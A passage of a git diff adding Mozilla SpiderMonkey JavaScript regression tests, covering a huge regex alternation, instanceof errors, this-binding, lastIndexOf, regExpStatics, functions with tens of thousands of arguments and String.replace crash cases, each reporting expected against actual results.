|4727|4728|4729|4730|4731|4732|4733|4734|4735|4736|4737|4738|4739|4740|4741|4742|4743|4744|4745|4746|4747|4748|4749|4750|4751|4752|4753|4754|4755|4756|4757|4758|4759|4760|4761|4762|4763|4764|4765|4766|4767|4768|4769|4770|4771|4772|4773|4774|4775|4776|4777|4778|4779|4780|4781|4782|4783|4784|4785|4786|4787|4788|4789|4790|4791|4792|4793|4794|4795|4796|4797|4798|4799|4800|4801|4802|4803|4804|4805|4806|4807|4808|4809|4810|4811|4812|4813|4814|4815|4816|4817|4818|4819|4820|4821|4822|4823|4824|4825|4826|4827|4828|4829|4830|4831|4832|4833|4834|4835|4836|4837|4838|4839|4840|4841|4842|4843|4844|4845|4846|4847|4848|4849|4850|4851|4852|4853|4854|4855|4856|4857|4858|4859|4860|4861|4862|4863|4864|4865|4866|4867|4868|4869|4870|4871|4872|4873|4874|4875|4876|4877|4878|4879|4880|4881|4882|4883|4884|4885|4886|4887|4888|4889|4890|4891|4892|4893|4894|4895|4896|4897|4898|4899|4900|4901|4902|4903|4904|4905|4906|4907|4908|4909|4910|4911|4912|4913|4914|4915|4916|4917|4918|4919|4920|4921|4922|4923|4924|4925|4926|4927|4928|4929|4930|4931|4932|4933|4934|4935|4936|4937|4938|4939|4940|4941|4942|4943|4944|4945|4946|4947|4948|4949|4950|4951|4952|4953|4954|4955|4956|4957|4958|4959|4960|4961|4962|4963|4964|4965|4966|4967|4968|4969|4970|4971|4972|4973|4974|4975|4976|4977|4978|4979|4980|4981|4982|4983|4984|4985|4986|4987|4988|4989|4990|4991|4992|4993|4994|4995|4996|4997|4998|4999|5000|5001|5002|5003|5004|5005|5006|5007|5008|5009|5010|5011|5012|5013|5014|5015|5016|5017|5018|5019|5020|5021|5022|5023|5024|5025|5026|5027|5028|5029|5030|5031|5032|5033|5034|5035|5036|5037|5038|5039|5040|5041|5042|5043|5044|5045|5046|5047|5048|5049|5050|5051|5052|5053|5054|5055|5056|5057|5058|5059|5060|5061|5062|5063|5064|5065|5066|5067|5068|5069|5070|5071|5072|5073|5074|5075|5076|5077|5078|5079|5080|5081|5082|5083|5084|5085|5086|5087|5088|5089|5090|5091|5092|5093|5094|5095|5096|5097|5098|5099|5100|5101|5102|5103|5104|5105|5106|5107|5108|5109|5110|5111|5112|5113|5114|5115|5116|5117|5118|5119|5120|5121|5122|5123|5124|5125|5126|5127|5128|5129|5130|5131|5132|5133|5134|5135|5136|5137|5138|5139|5140|5141|5142|5143|5144|5145|5146|5147|5148|5149|5150|5151|5152|5153|5154|5155|5156|5157|5158|5159|5160|5161|5162|5163|5164|5165|5166|5167|5168|5169|5170|5171|5172|5173|5174|5175|5176|5177|5178|5179|5180|5181|5182|5183|5184|5185|5186|5187|5188|5189|5190|5191|5192|5193|5194|5195|5196|5197|5198|5199|5200|5201|5202|5203|5204|5205|5206|5207|5208|5209|5210|5211|5212|5213|5214|5215|5216|5217|5218|5219|5220|5221|5222|5223|5224|5225|5226|5227|5228|5229|5230|5231|5232|5233|5234|5235|5236|5237|5238|5239|5240|5241|5242|5243|5244|5245|5246|5247|5248|5249|5250|5251|5252|5253|5254|5255|5256|5257|5258|5259|5260|5261|5262|5263|5264|5265|5266|5267|5268|5269|5270|5271|5272|5273|5274|5275|5276|5277|5278|5279|5280|5281|5282|5283|5284|5285|5286|5287|5288|5289|5290|5291|5292|5293|5294|5295|5296|5297|5298|5299|5300|5301|5302|5303|5304|5305|5306|5307|5308|5309|5310|5311|5312|5313|5314|5315|5316|5317|5318|5319|5320|5321|5322|5323|5324|5325|5326|5327|5328|5329|5330|5331|5332|5333|5334|5335|5336|5337|5338|5339|5340|5341|5342|5343|5344|5345|5346|5347|5348|5349|5350|5351|5352|5353|5354|5355|5356|5357|5358|5359|5360|5361|5362|5363|5364|5365|5366|5367|5368|5369|5370|5371|5372|5373|5374|5375|5376|5377|5378|5379|5380|5381|5382|5383|5384|5385|5386|5387|5388|5389|5390|5391|5392|5393|5394|5395|5396|5397|5398|5399|5400|5401|5402|5403|5404|5405|5406|5407|5408|5409|5410|5411|5412|5413|5414|5415|5416|5417|5418|5419|5420|5421|5422|5423|5424|5425|5426|5427|5428|5429|5430|5431|5432|5433|5434|5435|5436|5437|5438|5439|5440|5441|5442|5443|5444|5445|5446|5447|5448|5449|5450|5451|5452|5453|5454|5455|5456|5457|5458|5459|5460|5461|5462|5463|5464|5465|5466|5467|5468|5469|5470|5471|5472|5473|5474|5475|5476|5477|5478|5479|5480|5481|5482|5483|5484|5485|5486|5487|5488|5489|5490|5491|5492|5493|5494|5495|5496|5497|5498|5499|5500|5501|5502|5503|5504|5505|5506|5507|5508|5509|5510|5511|5512|5513|5514|5515|5516|5517|5518|5519|5520|5521|5522|5523|5524|5525|5526|5527|5528|5529|5530|5531|5532|5533|5534|5535|5536|5537|5538|5539|5540|5541|5542|5543|5544|5545|5546|5547|5548|5549|5550|5551|5552|5553|5554|5555|5556|5557|5558|5559|5560|5561|5562|5563|5564|5565|5566|5567|5568|5569|5570|5571|5572|5573|5574|5575|5576|5577|5578|5579|5580|5581|5582|5583|5584|5585|5586|5587|5588|5589|5590|5591|5592|5593|5594|5595|5596|5597|5598|5599|5600|5601|5602|5603|5604|5605|5606|5607|5608|5609|5610|5611|5612|5613|5614|5615|5616|5617|5618|5619|5620|5621|5622|5623|5624|5625|5626|5627|5628|5629|5630|5631|5632|5633|5634|5635|5636|5637|5638|5639|5640|5641|5642|5643|5644|5645|5646|5647|5648|5649|5650|5651|5652|5653|5654|5655|5656|5657|5658|5659|5660|5661|5662|5663|5664|5665|5666|5667|5668|5669|5670|5671|5672|5673|5674|5675|5676|5677|5678|5679|5680|5681|5682|5683|5684|5685|5686|5687|5688|5689|5690|5691|5692|5693|5694|5695|5696|5697|5698|5699|5700|5701|5702|5703|5704|5705|5706|5707|5708|5709|5710|5711|5712|5713|5714|5715|5716|5717|5718|5719|5720|5721|5722|5723|5724|5725|5726|5727|5728|5729|5730|5731|5732|5733|5734|5735|5736|5737|5738|5739|5740|5741|5742|5743|5744|5745|5746|5747|5748|5749|5750|5751|5752|5753|5754|5755|5756|5757|5758|5759|5760|5761|5762|5763|5764|5765|5766|5767|5768|5769|5770|5771|5772|5773|5774|5775|5776|5777|5778|5779|5780|5781|5782|5783|5784|5785|5786|5787|5788|5789|5790|5791|5792|5793|5794|5795|5796|5797|5798|5799|5800|5801|5802|5803|5804|5805|5806|5807|5808|5809|5810|5811|5812|5813|5814|5815|5816|5817|5818|5819|5820|5821|5822|5823|5824|5825|5826|5827|5828|5829|5830|5831|5832|5833|5834|5835|5836|5837|5838|5839|5840|5841|5842|5843|5844|5845|5846|5847|5848|5849|5850|5851|5852|5853|5854|5855|5856|5857|5858|5859|5860|5861|5862|5863|5864|5865|5866|5867|5868|5869|5870|5871|5872|5873|5874|5875|5876|5877|5878|5879|5880|5881|5882|5883|5884|5885|5886|5887|5888|5889|5890|5891|5892|5893|5894|5895|5896|5897|5898|5899|5900|5901|5902|5903|5904|5905|5906|5907|5908|5909|5910|5911|5912|5913|5914|5915|5916|5917|5918|5919|5920|5921|5922|5923|5924|5925|5926|5927|5928|5929|5930|5931|5932|5933|5934|5935|5936|5937|5938|5939|5940|5941|5942|5943|5944|5945|5946|5947|5948|5949|5950|5951|5952|5953|5954|5955|5956|5957|5958|5959|5960|5961|5962|5963|5964|5965|5966|5967|5968|5969|5970|5971|5972|5973|5974|5975|5976|5977|5978|5979|5980|5981|5982|5983|5984|5985|5986|5987|5988|5989|5990|5991|5992|5993|5994|5995|5996|5997|5998|5999|6000|6001|6002|6003|6004|6005|6006|6007|6008|6009|6010|6011|6012|6013|6014|6015|6016|6017|6018|6019|6020|6021|6022|6023|6024|6025|6026|6027|6028|6029|6030|6031|6032|6033|6034|6035|6036|6037|6038|6039|6040|6041|6042|6043|6044|6045|6046|6047|6048|6049|6050|6051|6052|6053|6054|6055|6056|6057|6058|6059|6060|6061|6062|6063|6064|6065|6066|6067|6068|6069|6070|6071|6072|6073|6074|6075|6076|6077|6078|6079|6080|6081|6082|6083|6084|6085|6086|6087|6088|6089|6090|6091|6092|6093|6094|6095|6096|6097|6098|6099|6100|6101|6102|6103|6104|6105|6106|6107|6108|6109|6110|6111|6112|6113|6114|6115|6116|6117|6118|6119|6120|6121|6122|6123|6124|6125|6126|6127|6128|6129|6130|6131|6132|6133|6134|6135|6136|6137|6138|6139|6140|6141|6142|6143|6144|6145|6146|6147|6148|6149|6150|6151|6152|6153|6154|6155|6156|6157|6158|6159|6160|6161|6162|6163|6164|6165|6166|6167|6168|6169|6170|6171|6172|6173|6174|6175|6176|6177|6178|6179|6180|6181|6182|6183|6184|6185|6186|6187|6188|6189|6190|6191|6192|6193|6194|6195|6196|6197|6198|6199|6200|6201|6202|6203|6204|6205|6206|6207|6208|6209|6210|6211|6212|6213|6214|6215|6216|6217|6218|6219|6220|6221|6222|6223|6224|6225|6226|6227|6228|6229|6230|6231|6232|6233|6234|6235|6236|6237|6238|6239|6240|6241|6242|6243|6244|6245|6246|6247|6248|6249|6250|6251|6252|6253|6254|6255|6256|6257|6258|6259|6260|6261|6262|6263|6264|6265|6266|6267|6268|6269|6270|6271|6272|6273|6274|6275|6276|6277|6278|6279|6280|6281|6282|6283|6284|6285|6286|6287|6288|6289|6290|6291|6292|6293|6294|6295|6296|6297|6298|6299|6300|6301|6302|6303|6304|6305|6306|6307|6308|6309|6310|6311|6312|6313|6314|6315|6316|6317|6318|6319|6320|6321|6322|6323|6324|6325|6326|6327|6328|6329|6330|6331|6332|6333|6334|6335|6336|6337|6338|6339|6340|6341|6342|6343|6344|6345|6346|6347|6348|6349|6350|6351|6352|6353|6354|6355|6356|6357|6358|6359|6360|6361|6362|6363|6364|6365|6366|6367|6368|6369|6370|6371|6372|6373|6374|6375|6376|6377|6378|6379|6380|6381|6382|6383|6384|6385|6386|6387|6388|6389|6390|6391|6392|6393|6394|6395|6396|6397|6398|6399|6400|6401|6402|6403|6404|6405|6406|6407|6408|6409|6410|6411|6412|6413|6414|6415|6416|6417|6418|6419|6420|6421|6422|6423|6424|6425|6426|6427|6428|6429|6430|6431|6432|6433|6434|6435|6436|6437|6438|6439|6440|6441|6442|6443|6444|6445|6446|6447|6448|6449|6450|6451|6452|6453|6454|6455|6456|6457|6458|6459|6460|6461|6462|6463|6464|6465|6466|6467|6468|6469|6470|6471|6472|6473|6474|6475|6476|6477|6478|6479|6480|6481|6482|6483|6484|6485|6486|6487|6488|6489|6490|6491|6492|6493|6494|6495|6496|6497|6498|6499|6500|6501|6502|6503|6504|6505|6506|6507|6508|6509|6510|6511|6512|6513|6514|6515|6516|6517|6518|6519|6520|6521|6522|6523|6524|6525|6526|6527|6528|6529|6530|6531|6532|6533|6534|6535|6536|6537|6538|6539|6540|6541|6542|6543|6544|6545|6546|6547|6548|6549|6550|6551|6552|6553|6554|6555|6556|6557|6558|6559|6560|6561|6562|6563|6564|6565|6566|6567|6568|6569|6570|6571|6572|6573|6574|6575|6576|6577|6578|6579|6580|6581|6582|6583|6584|6585|6586|6587|6588|6589|6590|6591|6592|6593|6594|6595|6596|6597|6598|6599|6600|6601|6602|6603|6604|6605|6606|6607|6608|6609|6610|6611|6612|6613|6614|6615|6616|6617|6618|6619|6620|6621|6622|6623|6624|6625|6626|6627|6628|6629|6630|6631|6632|6633|6634|6635|6636|6637|6638|6639|6640|6641|6642|6643|6644|6645|6646|6647|6648|6649|6650|6651|6652|6653|6654|6655|6656|6657|6658|6659|6660|6661|6662|6663|6664|6665|6666|6667|6668|6669|6670|6671|6672|6673|6674|6675|6676|6677|6678|6679|6680|6681|6682|6683|6684|6685|6686|6687|6688|6689|6690|6691|6692|6693|6694|6695|6696|6697|6698|6699|6700|6701|6702|6703|6704|6705|6706|6707|6708|6709|6710|6711|6712|6713|6714|6715|6716|6717|6718|6719|6720|6721|6722|6723|6724|6725|6726|6727|6728|6729|6730|6731|6732|6733|6734|6735|6736|6737|6738|6739|6740|6741|6742|6743|6744|6745|6746|6747|6748|6749|6750|6751|6752|6753|6754|6755|6756|6757|6758|6759|6760|6761|6762|6763|6764|6765|6766|6767|6768|6769|6770|6771|6772|6773|6774|6775|6776|6777|6778/;
+
+result = re.exec('6777');
+
+reportCompare(expect, actual, summary);
+
+status = summary + ' ' + inSection(2) + ' (new RegExp("0|...|9999") ';
+
+var N = 10 * 1000;
+var a = new Array(N);
+for (var i = 0; i != N; ++i) {
+ a[i] = i;
+}
+var str = a.join('|'); // str is 0|1|2|3|...|<printed value of N -1>
+var re = new RegExp(str);
+re.exec(N - 1);
+
+reportCompare(expect, actual, summary);
+
+
+
diff --git a/js/src/tests/non262/regress/regress-281606.js b/js/src/tests/non262/regress/regress-281606.js
new file mode 100644
index 0000000000..2f36c150c3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-281606.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 281606;
+var summary = 'l instanceof r throws TypeError if r does not support [[HasInstance]]';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {};
+
+status = summary + ' ' + inSection(1) + ' o instanceof Math ';
+expect = 'TypeError';
+try
+{
+ if (o instanceof Math)
+ {
+ }
+ actual = 'No Error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' o instanceof o ';
+expect = 'TypeError';
+try
+{
+ if (o instanceof o)
+ {
+ }
+ actual = 'No Error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-281930.js b/js/src/tests/non262/regress/regress-281930.js
new file mode 100644
index 0000000000..2939c8be8c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-281930.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 281930;
+var summary = 'this reference should point to global object in function expressions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var global = this;
+
+actual = function() { return this; }();
+expect = global;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-283477.js b/js/src/tests/non262/regress/regress-283477.js
new file mode 100644
index 0000000000..a4bce398a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-283477.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 283477;
+var summary = 'a.lastIndexOf(b, c) should return -1 when there is no match';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + " " + '"".lastIndexOf("hello", 0);';
+expect = -1;
+actual = "".lastIndexOf("hello", 0);
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + " " + ' "".lastIndexOf("hello");';
+expect = -1;
+actual = "".lastIndexOf("hello");
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-288688.js b/js/src/tests/non262/regress/regress-288688.js
new file mode 100644
index 0000000000..465a7ec931
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-288688.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 288688;
+var summary = 'x->regExpStatics should be stacked and unstacked around the lambda invocations';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function genGluck(str){
+ var x = str;
+ var rx=/end/i;
+ x = x.replace(rx,function($1){
+ $1.match(rx);
+ return "";
+ });
+ x = x.replace(/^end/,"");
+ return x;
+}
+
+expect = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXX";
+
+actual = genGluck( expect + "end" );
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-289094.js b/js/src/tests/non262/regress/regress-289094.js
new file mode 100644
index 0000000000..03945f77e6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-289094.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 289094;
+var summary = 'argument shadowing function property special case for lambdas';
+var actual = '';
+var expect = 'function:function';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function fn()
+{
+ var o = {
+ d: function(x,y) {},
+ init: function() { this.d.x = function(x) {}; this.d.y = function(y) {}; }
+ };
+ o.init();
+ actual = typeof(o.d.x) + ':' + typeof(o.d.y);
+}
+
+fn();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-290575.js b/js/src/tests/non262/regress/regress-290575.js
new file mode 100644
index 0000000000..65c43919a6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-290575.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290575;
+var summary = 'Do not crash calling function with more than 32768 arguments';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function crashMe(n) {
+ var nasty, fn;
+
+ nasty = [];
+ while (n--)
+ nasty.push("a"+n); // Function arguments
+ nasty.push("void 0"); // Function body
+ fn = Function.apply(null, nasty);
+ fn.toString();
+}
+
+printStatus('crashMe(0x8001)');
+
+crashMe(0x8001);
+
+reportCompare(expect, actual, summary);
+
+function crashMe2(n) {
+ var nasty = [], fn
+
+ while (n--) nasty[n] = "a"+n
+ fn = Function(nasty.join(), "void 0")
+ fn.toString()
+ }
+
+printStatus('crashMe2(0x10000)');
+
+summary = 'No Syntax Error Function to string when more than 65536 arguments';
+expect = 'Error';
+try
+{
+ crashMe2(0x10000);
+ actual = 'No Error';
+ reportCompare(expect, actual, summary);
+}
+catch(e)
+{
+ actual = 'Error';
+ reportCompare(expect, actual, summary);
+ expect = 'SyntaxError';
+ actual = e.name;
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-290656.js b/js/src/tests/non262/regress/regress-290656.js
new file mode 100644
index 0000000000..671304cb46
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-290656.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290656;
+var summary = 'Regression from bug 254974';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function foo() {
+ with(foo) {
+ this["insert"] = function(){ var node = new bar(); };
+ }
+ function bar() {}
+}
+
+try
+{
+ var list = new foo();
+ list.insert();
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-294191.js b/js/src/tests/non262/regress/regress-294191.js
new file mode 100644
index 0000000000..f19ba209df
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294191.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294191;
+var summary = 'Do not crash with nested function and "delete" op';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ function x()
+ {
+ x;
+ }
+}
+
+f.z=0;
+
+delete f.x;
+
+f();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-294195-01.js b/js/src/tests/non262/regress/regress-294195-01.js
new file mode 100644
index 0000000000..273b505545
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294195-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294195;
+var summary = 'Do not crash during String replace when accessing methods on backreferences';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s = 'some text sample';
+
+// this first version didn't crash
+var result = s.replace(new RegExp('(^|\\s)(text)'), (new String('$1')));
+result = result.substr(0, 1);
+reportCompare(expect, actual, inSection(1) + ' ' + summary);
+
+// the original version however did crash.
+result = s.replace(new RegExp('(^|\\s)(text)'),
+ (new String('$1')).substr(0, 1));
+reportCompare(expect, actual, inSection(2) + ' ' + summary);
diff --git a/js/src/tests/non262/regress/regress-294195-02.js b/js/src/tests/non262/regress/regress-294195-02.js
new file mode 100644
index 0000000000..c6a3cc8106
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294195-02.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294195;
+var summary = 'Do not crash during String replace when accessing methods on backreferences';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var result = "".replace(/()/, "$1".slice(0,1))
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-294302.js b/js/src/tests/non262/regress/regress-294302.js
new file mode 100644
index 0000000000..b4f1ed2fc2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294302.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294302;
+var summary = 'JS Shell load should throw catchable exceptions';
+var actual = 'Error not caught';
+var expect = 'Error caught';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ load('foo.js');
+}
+catch(ex)
+{
+ actual = 'Error caught';
+ printStatus(actual);
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-295052.js b/js/src/tests/non262/regress/regress-295052.js
new file mode 100644
index 0000000000..a84a157877
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-295052.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 295052;
+var summary = 'Do not crash when apply method is called on String.prototype.match';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ "".match.apply();
+ throw new Error("should have thrown for undefined this");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "No TypeError for String.prototype.match");
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-295666.js b/js/src/tests/non262/regress/regress-295666.js
new file mode 100644
index 0000000000..b527b5ec9c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-295666.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 295666;
+var summary = 'Check JS only recursion stack overflow';
+var actual = 'No Crash';
